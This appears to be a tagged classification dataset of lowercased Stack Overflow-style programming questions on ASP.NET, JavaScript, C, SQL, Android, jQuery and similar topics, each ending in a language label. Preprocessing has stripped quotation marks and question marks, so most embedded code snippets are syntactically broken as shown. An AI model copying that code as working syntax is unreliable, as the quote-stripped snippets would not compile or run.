how to prevent postback event handler from firing  i have a custom class (serversidevalidator.vb) that validates user input on server side (it doesn t use any of the .net built in validators  therefore page.validate() is not an option for me). i am calling the validate() method on page.ispostback event and the class performs without any problem    my issue is  when validation fails (returns false)  i want to stop the postback event handler from firing  but load the page along with all the controls and user-input values in them. if i do  response.end()  the page comes up blank. i can programmatically instruct the page to go to the previous page (original form before postback)  but it loses all user-inputs.     i thought of creating a global boolean variable in the page code behind file and check the value before performing any postback method  but this approach takes away from my plan to provide all functionalities inside the class itself. the page object is being referenced to serversidevalidator.     seems like all the postback related properties/variables i come across inside page class are  readonly  and i can t assign value(s) to control/prevent postback event from firing.     any idiea on how i can accomplish this  please let me know if you need further details,asp.net
javascript  syntax after function  i have a function that changes an object for me and i m wondering how a bit of it works and would be grateful if someone could explain it or point me in the right direction. here is the function:    <pre><code>$scope.filteredobject = object.keys($scope.filterobject).reduce(function(p  collection) {     var values = $scope.filterobject[collection];     p[collection] = object.keys(values).filter(function(key) {         return values[key] === true;     }).map(function(key) {         return key;     });     return p; }  {}); </code></pre>   so this works great  but i m wondering what the <code>}  {});</code> at the end of the function does exactly. im not exactly sure the name of that and googleing  <em><code>}  {}</code> after a function in javascript</em>  seems to confuse the hell out of google (lol). thanks!,javascript
how to browse only text files from my application  i have built an application where i am supposed to browse only for txt files in the device and read it.but i am not getting a valid solution to it.like for example if we take whatsapp there you can browse different files under different headings like under videos you will only browse videos and under gallery you will only browse images.but whats in case for text files only is there any way please suggest.,android
i want to take input of an integer 2d array in matrix form. to take the first row elements separated by space and so on  i need to take input as:   <pre><code>1 2 3 4 5 6 7 8 9 10 11 12 </code></pre>   and so on.    this is what i have been trying -   <pre><code>for(k = 0; k &lt; n; k++)     while(scanf( %d   &amp;a[k][i++]) == 1); </code></pre>,c
displaying code in a scroll box  i am building a website for my resume  both for me and a class. i have some websites that i made for other classes and would like to add those as my portfolio. i would like to include the code  but i don t want a bunch of screen shots of the code  so i would like to put it in a scroll box. the problem is it displays a website inside a scroll box instead of just the code. is there a way i can make a scroll box that will display html tags and ignore their effects,html
how to send sql command containing a variable without running a console  i use the following mysql command to rename contents in video table  path column   <pre><code>update video set path = insert(path  length(path) - locate( /   reverse(path)) + 2  0   201410110 ); </code></pre>   but ideally i want 201410110 to be replaced with a $mask variable that will be stored in a script that i am building   <pre><code>mask=$(date +%s) mysql -u videditor -ppassword1  update master.video set path = insert(path  length(path) - locate( /   reverse(path)) + 2  0   $mask );  </code></pre>   but i get an error when i try to run the sql command. any clue what i am missing,mysql
c++ whats the difference between uint64 and *uint64   why does:   <pre><code>const char example; </code></pre>   <code>(uint64*)example</code> have a value of 140734799798420    and    <code>*(uint64*)example</code> have a value of 7004431430466964258    p.s. dont worry about the type cast  i am interested why the second <code>*</code> increases the value.    thanks,c++
find days difference between two dates with range of thousands of year  how can we find days difference in php where dates may very from 1/1/1 to 1/1/1000000.    strtotime()  mktime()  date->diff() all these function are not be helpful as it is more then limit of unix timestamp.,php
angularjs : list polling  i m using angular with the <code>$interval</code> service to grab data from backend periodically using <code>$ngresource</code>.     each time i m getting my new list from the backend  i m replacing the old one by the new one. i then display the list in a template using <code>ng-repeat</code>.    the issue with this approach : each time the data update  my interface blinks. plus  if i was selected a text in this list  my selection disappears with each list refresh.     is there an easy way to keep my frontend and backend list synced appart of a forloop on the new data and pushing them in the old one,angularjs
why are these jquery events firing synchronously   given a number of  .hovertarget  divs on a page  the mouseover/mouseout events below seem to be firing synchronously - i.e. if you quickly move the mouse from one item (a) to another (b)  the b fade-in will not start until the a fade-out has completed.  if you do this quickly you then have a sequence of fade-in/outs which play for a few seconds. <strong>this is not the behaviour i want.  how do i change this so that the events are independent of one another </strong>    i m using jquery 1.6.2   <pre><code>$( .hovertarget ).live( mouseover mouseout   function(event) {     var child = $(event.target).find( .targetchild );     if (event.type ==  mouseover ) {         child.fadein(200);     } else {         child.fadeout(200);     } }); </code></pre>   html this applied to (as requested):   <pre><code>    &lt;div class= hovertarget  id= s1 &gt;&lt;div class= targetchild &gt;&lt;/div&gt;&lt;/div&gt;     &lt;div class= hovertarget  id= s2 &gt;&lt;div class= targetchild &gt;&lt;/div&gt;&lt;/div&gt; </code></pre>,jquery
drawing currency symbol  how to draw a currency symbol in a  custom label using cgcontextshowtextatpoint method in draw rect. here the symbol is in string format.    any help!! thanks,iphone
angularjs:how to create a tooltip in angularjs  we are trying to determine what tooltip plugin we should use for web page that uses angularui to get an effect like this (or close to this)    <img src= https://i.stack.imgur.com/b5ema.png  alt= tooltip image >,angularjs
c simple program to get int number from the client  i am new to c language. i want to create an app that get 2 int and print the sum of them. i tried to use while to get a int number from the client  but i get an endless while loop.   <pre><code>int main() {     //printf( hello world!\n );      int x = 0  y = 0;     printf( insert 2 numvers \n );      int status = scanf( %d   &amp;x);     while (status == 0) {         printf( error occured. enter new number: \n );         status = scanf( %d   &amp;x);     }      scanf( %d   &amp;y);      printf( the sum is: %d   x + y);     return 0; } </code></pre>   output(i don t have option to insert another number):   <pre><code>insert new number:  ascsac -&gt; input error occured. enter new number: error occured. enter new number: error occured. enter new number: error occured. enter new number: error occured. enter new number: error occured. enter new number: error occured. enter new number: error occured. enter new number: error occured. enter new number: (endless loop). </code></pre>,c
switching the values of variables in c  i have this function called <code>void rotateleft(int *a  int *b  int *c  int *d)</code>. i want to give the variables a b c and d to this function. i want to call the function and then <strong>a</strong> needs to get the value of <strong>b</strong>  <strong>d</strong> the value of <strong>a</strong>  <strong>c</strong> the value of <strong>d</strong> and <strong>b</strong> the value of <strong>c</strong>. i have added my main code below where the function is being called and the code of the rotateleft function. what do i put in the rotateleft function to get it to work     <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;   void rotateleft (int*  int*  int*  int*);   int main(int argc  char **argv){      int a b c d n;      while( (n = scanf( %d%d%d%d  &amp;a &amp;b &amp;c &amp;d)) == 4)     {        rotateleft(&amp;a &amp;b &amp;c &amp;d);         printf( %d %d %d %d\n  a b c d);     }  } </code></pre>   rotateleft function   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  void rotateleft(int *a  int *b  int *c  int *d){     } </code></pre>,c
immutable primitive types  why can t the following argument be made against the claim that primitive types are immutable in javascript:   <pre><code>var $b = false; $b = true; alert($b); //-&gt; true </code></pre>   i am misunderstanding what it means for a variable to immutable.,javascript
how do i implement a key to be both pk and fk   i m very new to sql and just practicing for my sql exam by going through past papers  however  i m stuck on how to implement the staffid &amp; projno in the allocation table to be both primary and foreign keys. i ve tried to use solutions online but none work.     here is the relational schema (<strong>pk</strong>  <em>fk</em>)   <pre><code>staff( **staffid**  firstname  lastname  gender  dob  jobtitle)  project ( **projno**  projname  description )  allocation ( ***staffid***  ***projno***  hours ) </code></pre>   here is my sql:   <pre><code>create table staff (   staffid char (4) primary key    firstname varchar (30) not null    lastname varchar (30) not null    gender char (1) check (gender in ( m   f ))   dob date not null    jobtitle varchar (30) not null    );   create table project (   projno char (4) primary key    projname varchar (20) not null    description varchar (30) not null    );   create table allocation (   staffid char (4)    projno char (4)    hours int (2)   ); </code></pre>,sql
selectbox get all option values jquery <pre><code>&lt;select id= selectbox &gt;     &lt;option value= all &gt;all&lt;/option&gt;     &lt;option value= 0 &gt;number 0&lt;/option&gt;     &lt;option value= 1 &gt;number 1&lt;/option&gt;     &lt;option value= 2 &gt;number 2&lt;/option&gt;     &lt;option value= 3 &gt;number 3&lt;/option&gt;     &lt;option value= 4 &gt;number 4&lt;/option&gt;     &lt;option value= 5 &gt;number 5&lt;/option&gt;     &lt;option value= 6 &gt;number 6&lt;/option&gt;     &lt;option value= 7 &gt;number 7&lt;/option&gt; &lt;/select&gt; </code></pre>   if the user select <code>all</code> option i need to get all the other option value like 0 1 2 3 4 5 6 7    my code is:    <pre><code>$( #selectbox ).live( change   function () {     var val = this.value;     if (val ==  all ) {         $( #selectbox&gt;option ).map(function () {             alert($(this).val());         });     } }); </code></pre>   any idea,jquery
can not install web essentials 2013 for vs2013  am not able to install the web essentials 2013 for vs2013    while installing am getting the installation failed error.    please can any one help in resolving the issue.,c#
object is not passed from view to controller when viewmodel is used  *    hey guys need your help with data not being passed to controller. i encountered with emplty data passed from view to controller. so  whenever i use the viewmodel in the parameter of action method the posted object is properly passed but when i use customer model which inside the viewmodel then the data that i try to submit to database is not passed. here is the view code:    *   <pre><code>@model webapplication2.models.customerviewmodel @{     viewbag.title =  createform ;     layout =  ~/views/shared/_layout.cshtml ; }  &lt;h2&gt;createform&lt;/h2&gt;  @using(html.beginform( create    customer )) {     &lt;div class= form-group &gt;         @html.labelfor(m=&gt;m.customers.name)         @html.textboxfor(m=&gt;m.customers.name  new { @class= form-control })     &lt;/div&gt;     &lt;div class= form-group &gt;         @html.labelfor(m =&gt; m.customers.birthdate)         @html.textboxfor(m =&gt; m.customers.birthdate  new { @class =  form-control  })     &lt;/div&gt;     &lt;div class= form-group &gt;         @html.labelfor(m =&gt; m.customers.membershiptypeid)         @html.dropdownlistfor(m =&gt; m.customers.membershiptypeid  new selectlist(model.membershiptypes   id    name )  select   new { @class =  form-control  })     &lt;/div&gt;     &lt;button type submit  class= btn btn-primary &gt;save&lt;/button&gt; }  controller code    [httppost]         public actionresult create(customer customer)//data is not passed when i use customer but is passed when customerviewmodel is used         {             context.customer.add(customer);             context.savechanges();             return redirecttoaction( index    customer );         } </code></pre>,asp.net
load a list of localized strings at once in ios  i want to show a table with the list of strings which are localized.    the straightforward method would be:    a) point data source to my viewcontroller    b) define an array    c) allocate the array in my viewcontroller and init (arraywithobjects) it with the strings from localized resources (nslocalizedstring)    d) use this array in uitableviewdatasource delegated methods    mainly my concern is item b). the construction looks quite heavy and i wonder whether i can somehow specify and load whole list of localized string at once.,ios
how to do two things that require the ui to update inside oncheckedchanged()   i m creating quiz app  and when the user selects an answer  i will change the background color of the radio button based on whether he/she was correct/incorrect. i want to do this and <em>pause</em> at this part for a second or two  then change the questions/answers in my fragment. the problem is  i m confused about where i should be putting the pause. normally  i should put the pause right before the <code>onanswerselected()</code> function (changes the text on my radiobuttons) is executed. however  the problem with that is nothing on the screen will update until <code>oncheckedchanged()</code> has finished executing.    <strong>fragment.java</strong>   <pre><code>    public void onactivitycreated(bundle savedinstancestate) {         super.onactivitycreated(savedinstancestate);         list&lt;string&gt; answers = new arraylist&lt;string&gt;();         answers.add(answer1);         answers.add(answer2);         answers.add(answer3);         answers.add(answer4);         collections.shuffle(answers);         textview questiontv = (textview) getview().findviewbyid(r.id.question);         questiontv.settext(question);         final radiobutton answer1rb = (radiobutton) getview().findviewbyid(r.id.answer1);         final radiobutton answer2rb = (radiobutton) getview().findviewbyid(r.id.answer2);         final radiobutton answer3rb = (radiobutton) getview().findviewbyid(r.id.answer3);         final radiobutton answer4rb = (radiobutton) getview().findviewbyid(r.id.answer4);         answer1rb.settext(answers.get(0));         answer2rb.settext(answers.get(1));         answer3rb.settext(answers.get(2));         answer4rb.settext(answers.get(3));         answer1rb.setchecked(false);         radiogroup rg = (radiogroup) getview().findviewbyid(r.id.answers);         rg.setoncheckedchangelistener(new oncheckedchangelistener()         {             @override             public void oncheckedchanged(radiogroup group  int checkedid)             {                 boolean correctanswerselected = false;                 switch(checkedid)                 {                 case r.id.answer1:                     if (answer1rb.gettext().equals(answer1)) {                         answer1rb.setbackgroundcolor(color.green);                         correctanswerselected = true;                     } else {                         answer1rb.setbackgroundcolor(color.red);                         findcorrectanswer(answer1rb  answer2rb  answer3rb  answer4rb);                     }                     break;                 case r.id.answer2:                     if (answer2rb.gettext().equals(answer1)) {                         answer2rb.setbackgroundcolor(color.green);                         correctanswerselected = true;                     } else {                         answer2rb.setbackgroundcolor(color.red);                         findcorrectanswer(answer1rb  answer2rb  answer3rb  answer4rb);                     }                     break;                 case r.id.answer3:                     if (answer3rb.gettext().equals(answer1)) {                         answer3rb.setbackgroundcolor(color.green);                         correctanswerselected = true;                     } else {                         answer3rb.setbackgroundcolor(color.red);                         findcorrectanswer(answer1rb  answer2rb  answer3rb  answer4rb);                     }                     break;                 case r.id.answer4:                     if (answer4rb.gettext().equals(answer1)) {                         answer4rb.setbackgroundcolor(color.green);                         correctanswerselected = true;                     } else {                         answer4rb.setbackgroundcolor(color.red);                         findcorrectanswer(answer1rb  answer2rb  answer3rb  answer4rb);                     }                     break;                 }                 // need to execute some sort of pause here  and finish before onanswerselected is called                 mcallback.onanswerselected(correctanswerselected);             }         });     } </code></pre>   <strong>quiztemplate.java</strong>   <pre><code>@override     public void onanswerselected(boolean answeredquestioncorrectly) {         placeholderfragment fragment = (placeholderfragment)getsupportfragmentmanager().                 findfragmentbyid(r.id.container2);         if (fragment != null) {             radiobutton answer1 = (radiobutton) fragment.getview().findviewbyid(r.id.answer1);             radiobutton answer2 = (radiobutton) fragment.getview().findviewbyid(r.id.answer2);             radiobutton answer3 = (radiobutton) fragment.getview().findviewbyid(r.id.answer3);             radiobutton answer4 = (radiobutton) fragment.getview().findviewbyid(r.id.answer4);             answer1.settext( test );             answer2.settext( test );             answer3.settext( test );             answer4.settext( test );             answer1.setbackgroundcolor(color.white);             answer2.setbackgroundcolor(color.white);             answer3.setbackgroundcolor(color.white);             answer4.setbackgroundcolor(color.white);             answer1.setchecked(false);             answer2.setchecked(false);             answer3.setchecked(false);             answer4.setchecked(false);         } </code></pre>,android
"display:none; does not work with google maps  i have added a loader in my webpage which also contains googlemaps. when the page is loading  i use display: none; to hide the contents of the page when it is loading. display:none makes google maps to only display the canvas after the page is loaded and shown in block. please help.  the code is:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;body onload= myfunction()  style= margin:0; background-color: white; &gt;
 
 &lt;div style= display:none;  id= mydiv  class= animate-bottom &gt;</code></pre>
 </div>
 </div>
     i tried adding    <pre><code>display: block; </code></pre>   after the above line of code. the code is    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div style= display:block;  id= mydiv  class= animate-bottom &gt;</code></pre>
 </div>
 </div>
     and it still didn t work    myfunction contains    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var myvar;
 function myfunction() {
     myvar = settimeout(showpage  1500);
 }
 
 function showpage() {
   document.getelementbyid( mydiv ).style.display =  block ;
 }</code></pre>
 </div>
 </div>",html
python: start each newline with a specific character  i have the following string  and would like to begin each new line with  1  2  3   respectively.   <pre><code>mystring =  27 c 27 c 32 c 27 c 25 c  </code></pre>   (there may be more or less numbers in reality  but they will always be that length and format). i would then like this string to look like this;   <pre><code>mystring =  1  27 2  27 3  32 4  27 5  25  </code></pre>   i ve tried various things  but i ve only ever managed to get the  1    after the value (using replace on the  c  or the newline character)    i m not sure what else to try. any help would be appreciated.<br> thanks :),python
angular - unable to $setvalidity (is not a function)  i have an angular app linked to a rails a backend. what i want is to handle rails validation errors with angular.    based on differents tutorials  i did this:    <strong>edit.html</strong>   <pre><code>&lt;div id= wrapper  ng-controller= editctrl    &lt;div class= row margin-top-100 &gt;       &lt;form name= form &gt;         &lt;div&gt;          &lt;!--- field --&gt;           &lt;input class= field  type= text  ng-blur= update()  ng-model= current.title  name= title &gt;         &lt;/div&gt;       &lt;/form&gt;    &lt;/div&gt; &lt;/div&gt; </code></pre>   <strong>edit.js</strong>   <pre><code>.controller( editctrl          function($scope  $rootscope  $state  $stateparams  $http  currentspot  $filter  notification  $modal $compile  $timeout){      $scope.update = function() {       $http.put( /c/ +$scope.current.id.$oid  {c: $scope.current})       .then(function(success) {          $scope.current = success.data;         notification.success( great ! )        }  function(error) {         console.log(error)         form.title.$setvalidity( server   false);         console.log( form   form.title)       })     } }) </code></pre>   which produces this error <code>form.title.$setvalidity is not a function</code> in the console when rails refused the update.    maybe one more information: <code>console.log( form   form)</code> returns:   <pre><code>&lt;input class= field ng-pristine ng-untouched ng-valid ng-not-empty  type= text  ng-blur= update()  ng-model= current.title  name= title  &gt; </code></pre>   but <code>{{form.title}}</code> in the view returns:    <pre><code>{     $viewvalue : cc       $modelvalue : cc       $validators :{     }      $asyncvalidators :{     }      $parsers :[     ]      $formatters :[       null    ]      $viewchangelisteners :[     ]      $untouched :true      $touched :false      $pristine :true      $dirty :false      $valid :true      $invalid :false      $error :{     }      $name : title       $options :null } </code></pre>   after many hours of reading tutorials and documentations  i m not able to find where the problem comes from.  thanks,angularjs
form opacity windows xp .net 2  do anyone knows why this function doesnt work in windows xp. works fine under win7   <pre><code>public form1() {     initializecomponent();     double flt = double.parse( 0 55 );     showopacity(flt); }   private void showopacity(double flt) {     this.opacity = flt; } </code></pre>,.net
native code and managed code in .net 4  the .net 4 global assembly cache is divided into 2 folders:    c:\windows\microsoft.net\assembly\gac_32    c:\windows\microsoft.net\assembly\gac_msil    i am intrigued  about the gac_32 folder. should i assume that the assemblies in this folder (like system.data) are in native code and not managed code  is it x86 specific,.net
keep timer running in the background  i was thinking to create a timer to display the elapsed time for a long running task in my asp.net application. i was able to create the timer to run using javascript but i have a problem with it  that is  how can i maintain the elapsed time so that even the user navigate away from the page  the timer will still running and when user return to that page again  he/she still can see the timer running. beside that  another user that access that page from another computer will also see the timer running. how i can achieve this,asp.net
jquery scaling effect  i have a lowest price  highest price and present price for a stock. i want to show on a line where the present value is relative to the lowest and highest prices. is there a way to do it easily in jquery,jquery
tracking user activity and errors/incorrect links  in my activity log in my database i m seeing a few users recently visiting my custom  404 page not found  page. what s the best way in php to get the link address they were looking for including any     and  &amp;  arguments on the end so i can store this too,php
register type with no namespace in web.config  i m trying to follow <a href= http://jquery-with-asp.net/2012/02/ajax-file-upload-with-asp-net-using-valums-script/  rel= nofollow >this tutorial</a>.    but when i try to register the type as instructed in the web.config it does not work as i do not have a namespace in my website project.    his example   <pre><code>&lt;add verb= post  path= filesuploader.html  type= firsttestwebapp.filesuploader /&gt; </code></pre>   my attempt   <pre><code>&lt;add verb= post  path= filesuploader.html  type= filesuploader /&gt; </code></pre>   his example   <pre><code>namespace firsttestwebapp {     public partial class fileupload : system.web.ui.page     {         protected void page_load(object sender  eventargs e)         {          }     } } </code></pre>   my page   <pre><code>public partial class fileupload : system.web.ui.page {     protected void page_load(object sender  eventargs e)     {      } } </code></pre>,asp.net
how do we compare a end-of-line character  \n  with a string   i wanted to know how i can compare a end-of-line character  \n  with a string. i don t really want to use the getline function because it not convenient with me.     my purpose is to increment the number of line each time i reach the end-of-line character  \n  so that each time my file read a word  it would output the line number it is at.     for example if the word  blue  is at line 2 the screen would output line 2 or if the word  common  is at line 4 the screen would output line 4     thanks  this is my first time using the site.,c++
android button s textview set using switch statement <pre><code>public class mainactivity extends activity {    button button1  button2  okbutton;   imageview imageview;    @override   protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      button1 = (button) findviewbyid(r.id.letterbutton);     button2 = (button) findviewbyid(r.id.letter2button);     okbutton = (button) findviewbyid(r.id.okbutton);     imageview = (imageview) findviewbyid(r.id.imageview1);      button1.setonclicklistener(new view.onclicklistener() {        @override       public void onclick(view arg0) {         // todo auto-generated method stub        }     });     button2.setonclicklistener(new view.onclicklistener() {        @override       public void onclick(view arg0) {         // todo auto-generated method stub        }     });     okbutton.setonclicklistener(new view.onclicklistener() {        @override       public void onclick(view arg0) {         // todo auto-generated method stub        }     });      int number;     random random = new random();     number = random.nextint(2) + 1;     while (number &gt; 0) {        switch (number) {       case 1:         imageview.setbackgroundresource(r.drawable.image_2);         button1.settext( pavel );         button2.settext( robin );         break;        case 2:          imageview.setbackgroundresource(r.drawable.image_3);         button1.settext( galib );         button2.settext( rimon );         break;        }        if (okbutton.ispressed()) {         number = random.nextint(2) + 1;       }      }   }  } </code></pre>   when i run this apps nothing was show in my phone. but there is no error message. i want to do when i run this apps it shows random number s button and image. when i pressed okbutton then random number will generate and it will shows that statment. how i can do it please help me.,android
c#     in method declaration  i m learning c# at the moment  and i have never seen this before.   <pre><code>static int  foo() {     return bar }  </code></pre>   what does the     do     i did try looking it up on google and se but i don t really know what key terms i should be searching for.,c#
document.getelementbyid( toai ).innerhtml = document.getelementbyid( toai ).value <pre><code>&lt;script&gt; function toai() { var fr_amt_invt  = document.getelementbyid( fr_amt_invt ).value; var re_amt_invt  = document.getelementbyid( re_amt_invt ).value; var totaltoai = +fr_amt_invt + +re_amt_invt; document.getelementbyid( toai ).innerhtml=+totaltoai; }  &lt;/script&gt; </code></pre>   function toai() result is in .innerhtml i want result in .value format so that it use in form input.,javascript
i am trying to write a query but can seem to think of a way to do it  hello in the sql database dbo.fee i have   <pre> ----------------------------------------- id       | caseid   | feetype | unitcost ----------------------------------------- 1017796  | 2697789  |      29 |       50  1018167  | 2697789  |       1 |      150  1019493  | 2697789  |      15 |       30 ----------------------------------------- </pre>   i want to write a sql query where i want it displayed as   <pre> ----------------------------------------- caseid   | adminfee  | subfee  | contfee ----------------------------------------- 2697789  |       50  |    150  |     30 ----------------------------------------- </pre>   any help would be appreciated thanks,sql
can i concat a string and a variable to select a dom element in javascript   i have tried googling this question but no luck. probably because i m asking the wrong way. any help is much appreciated.    i have variables <code>copy1</code>  <code>copy2</code>  etc. i want to iterate through them and select each one to check if it s contents has a certain number of characters. when i use any variation of the below  it will either console an error or output a string in the console.   <pre><code>var copy1 = document.getelementbyid( copy1 ); var copy2 = document.getelementbyid( copy2 ); var copy3 = document.getelementbyid( copy3 );  for(var i=0;i&lt;4;i++){  console.log(copy+i);  console.log( copy +i); }; </code></pre>   ideally i would be able to select an element and style that via javascript.     much appreciated<br> thanks all.<br> moe,javascript
intercept a setter in c#  i m trying to learn c#  and am coming from java. i ve seen this in c#:   <pre><code>class a {    public string x { get; set; }  } </code></pre>   what do i do if i want to intercept the incoming value on the setter,c#
sql: for each item in one column  count its corresponding values in another  i have a table pair(id1  id2) that looks like this:   <pre><code>+---------+---------+ |   id1   |   id2   | +---------+---------+ |       1 |       2 | |       2 |       2 | |       3 |       1 | |       4 |       1 | |       5 |       3 | |       6 |       2 | +---------+---------+ </code></pre>   i need to create a statement that will print each individual value form id2  along with a counter of the number of values that correspond to it. the output should look like this:   <pre><code>+---------+---------+ |   id2   |  count  | +---------+---------+ |       1 |       2 | |       2 |       3 | |       3 |       1 | +---------+---------+ </code></pre>,sql
running a background thread not working  i m trying to run -gethtmlupdate in background but it s not working.    -viewdidload   <pre><code>- (void)viewdidload {     uiimage *navbarimage = [[uiimage imagenamed:@ menubar.png ] resizableimagewithcapinsets:uiedgeinsetsmake(5  15  5  15)];//navbar     [[uinavigationbar appearance] setbackgroundimage:navbarimage forbarmetrics:uibarmetricsdefault];      [self performselectorinbackground:@selector(gethtmlupdate) withobject:nil]; } </code></pre>   here s -gethtmlupdate   <pre><code>-(void) gethtmlupdate {     nsmutableurlrequest *request = [[nsmutableurlrequest alloc] init];     /* set headers  etc. on request if needed */     [request seturl:[nsurl urlwithstring:@ http://appstarme.com/gd/gdhtmlparsinginformation.php ]];     nsdata *data = [nsurlconnection sendsynchronousrequest:request returningresponse:null error:null];     nsstring *html = [[nsstring alloc] initwithdata:data encoding:nsutf8stringencoding];     nsscanner *scanner = [nsscanner scannerwithstring:html];     nsstring *token = nil;     [scanner scanuptostring:@ &lt;h1&gt;  intostring:null];     [scanner scanuptostring:@ &lt;/h1&gt;  intostring:&amp;token];      nslog(@ data : %@   html);      _updatefromuser.text = html; </code></pre>   here s the console output   <pre><code>   2013-07-02 20:26:25.775 social app[8130:3707] data :  please check out the new skype contest at www.skype.com 2013-07-02 20:26:25.776 social app[8130:3707] bool _webtrythreadlock(bool)  0x1e8ab970: tried to obtain the web lock from a thread other than the main thread or the web thread. this may be a result of calling to uikit from a secondary thread. crashing now... 1   0x3a021259 webthreadlock 2   0x36083185 &lt;redacted&gt; 3   0xc75fd -[homechannel gethtmlupdate] 4   0x349e7231 &lt;redacted&gt; 5   0x3c2170e1 &lt;redacted&gt; 6   0x3c216fa8 thread_start </code></pre>   the nslog oddly returns the correct data but the app still crashes    edit    added this at the end of the code   <pre><code>[_updatefromuser performselectoronmainthread: @selector(settext:)                             withobject: html                          waituntildone: false]; </code></pre>   worked perfectly.,objective-c
the bookmarks stopped to work in my website urls  the bookmarks stopped to work in my website urls.    for example: <a href= http://www.website.com/page#91  rel= nofollow noreferrer >http://www.website.com/page#91</a>    doesn t slide anymore the page to the <code>&lt;div id= 91 &gt;</code>.. and it was perfectly working before.    it just open the page from beginning  or last slided position.,html
how to force repeater to render div  suppose i am working with repeater like   <pre><code>&lt;asp:repeater id= repeater1  runat= server  &gt;  &lt;itemtemplate&gt;  &lt;div&gt;my content 1 &lt;/div&gt;  &lt;div&gt;my content 2 &lt;/div&gt;  &lt;div&gt;my content 3 &lt;/div&gt;   &lt;div&gt;my content 4 &lt;/div&gt;  &lt;div&gt;my content 5 &lt;/div&gt;  &lt;div&gt;my content 6 &lt;/div&gt;   &lt;div&gt;my content 7 &lt;/div&gt;  &lt;div&gt;my content 8 &lt;/div&gt;  &lt;div&gt;my content 9 &lt;/div&gt;   &lt;/itemtemplate&gt;  &lt;/asp:repeater&gt; </code></pre>   what code i need to plugin in my code behind that repeater render div instead of span or table. is it at all possible...please let me know. thanks,asp.net
java class<t> static method forname() incompatibleclasschangeerror  private static importable getrightinstance(string s) throws exception {        class c = class.forname(s).assubclass(importable.class);        importable i = c.newinstance();        return i;     }    which i can also write   <pre><code>private static importable getrightinstance(string s) throws exception {    class&lt;  extends importable&gt; c = (class&lt;  extends importable&gt;)class.forname(s);    importable i = c.newinstance();    return i; } </code></pre>   or   <pre><code>private static importable getrightinstance(string s) throws exception {    class&lt; &gt; c = class.forname(s);    importable i = (importable)c.newinstance();    return i; } </code></pre>   where importable is an interface and s is a string representing an implementing class. well  in any case it gives the following:   <pre><code>exception in thread  main  java.lang.incompatibleclasschangeerror: class c1 has interface importable as super class </code></pre>   here is the last snippet of the stack trace:   <pre><code> at java.lang.class.forname(class.java:169)  at importer.getrightimportable(importer.java:33)  at importer.importall(importer.java:44)  at test.main(test.java:16) </code></pre>   now  class c1 actually implemens importable and i totally don t understand why it complaints.    thanks in advance.,java
including header file in static html files  i would like to have a separate html file including meta data  link &amp; script tags as well as the visible header in one file which i would then import into my static html pages.    so i have been trying the <a href= https://www.w3schools.com/howto/howto_html_include.asp  rel= nofollow noreferrer >w3schools suggested solution</a> however this causes an unpleasant flash when the page loads.      essentially my static pages start along these lines   <pre><code>&lt;!doctype html&gt; &lt;html lang= en  xmlns= http://www.w3.org/1999/xhtml  xmlns= http://www.w3.org/1999/html &gt; </code></pre>      <pre><code>function includehtml() {   var z  i  elmnt  file  xhttp;   /*loop through a collection of all html elements:*/   z = document.getelementsbytagname( * );   for (i = 0; i &lt; z.length; i++) {     elmnt = z[i];     /*search for elements with a certain atrribute:*/     file = elmnt.getattribute( include-html );     if (file) {       /*make an http request using the attribute value as the file name:*/       xhttp = new xmlhttprequest();       xhttp.onreadystatechange = function() {         if (this.readystate == 4) {           if (this.status == 200) {elmnt.innerhtml = this.responsetext;}           if (this.status == 404) {elmnt.innerhtml =  page not found. ;}           /*remove the attribute  and call this function once more:*/           elmnt.removeattribute( include-html );           includehtml();         }       }        xhttp.open( get   file  true);       xhttp.send();       /*exit the function:*/       return;     }   } }  &lt;/script&gt;  &lt;div include-html= staticheader.html &gt;&lt;/div&gt;  &lt;body&gt;  </code></pre>   then include the body of the html and finish like this    <pre><code>&lt;div include-html= staticfooter.html &gt;&lt;/div&gt;  &lt;/body&gt;  &lt;script&gt;     includehtml(); &lt;/script&gt;  &lt;/html&gt; </code></pre>   in the staticheader.html are all the tags for meta data  css and js (including bootstrap).  maybe this is not possible  i assume it is loading the page  getting to the bottom and loading the header and footer and then applying the imports.  no wonder there is millisecond delay before the page formats properly!    i only have about 10 static pages so it is not the end of the world for me to solve the problem by putting the header data back into the individual html files but i am hoping there is a better solution,html
python grok learning exception of type indexerror  i just started learning python a few days ago and i have been using grok learning. for the challenge i have everything working as far as i can see but when i submit it i am told  testing yet another case that starts with a vowel. your submission raised an exception of type indexerror. this occurred on line 8 of your submission.  i am not sure how to solve this or even what i am doing wrong. by the way i am making a program to check if the message starts with a vowel and if so times the first letter by 10 if not then times the second letter by 10.   <pre><code>msg = input( enter a word:  ) h =     half =    first = msg[0] second = msg[1] msg2 =  gg  length = len(msg) third = msg[2] if first not in  aeiou :   if second != third:     print(msg.replace(msg[1]  msg[1] * 10))   elif second == third:     msg2 = third * 6     msg3 = (msg.replace(msg[2]  msg2))     msg4 = first + msg3[2:]     print(msg4) else:   half = first * 10   msg10 = msg[1:length]       print((half) + msg10) </code></pre>,python
remove unwanted id for a control when declared in asp:content in asp.net  consider sample piece of code in asp.net which has a master page associated with it   <pre><code>&lt;asp:content id= content2  contentplaceholderid= contentplaceholdera  runat= server  &gt;     &lt;asp:textbox id= textboxb  runat= server  causesvalidation= true  height= 96px  width= 426px  /&gt; &lt;/asp:content&gt; </code></pre>   when the page is rendered in browser id generated for textbox with id  textboxb  is   <pre><code>ctl00_contentplaceholdera_textboxb </code></pre>   below is the equivalent html code.   <pre><code> &lt;input name= ctl00$contentplaceholdera$textboxb  type= text  id= ctl00_contentplaceholdera_textboxb  style= height:96px;width:426px;  /&gt; </code></pre>   is it possible to have same id of textboxb in both html and aspx page.    thanks in advance.,asp.net
architectural questions for .net connexion to db  in my project i m working whith sqlserver db and it s work fine  but i need to get somme informations from orable db (second part of my db in oracle)  my question is :  should i create a new connexion to oracle or using a web service to get this informations from oracle db.    tnks for helping,.net
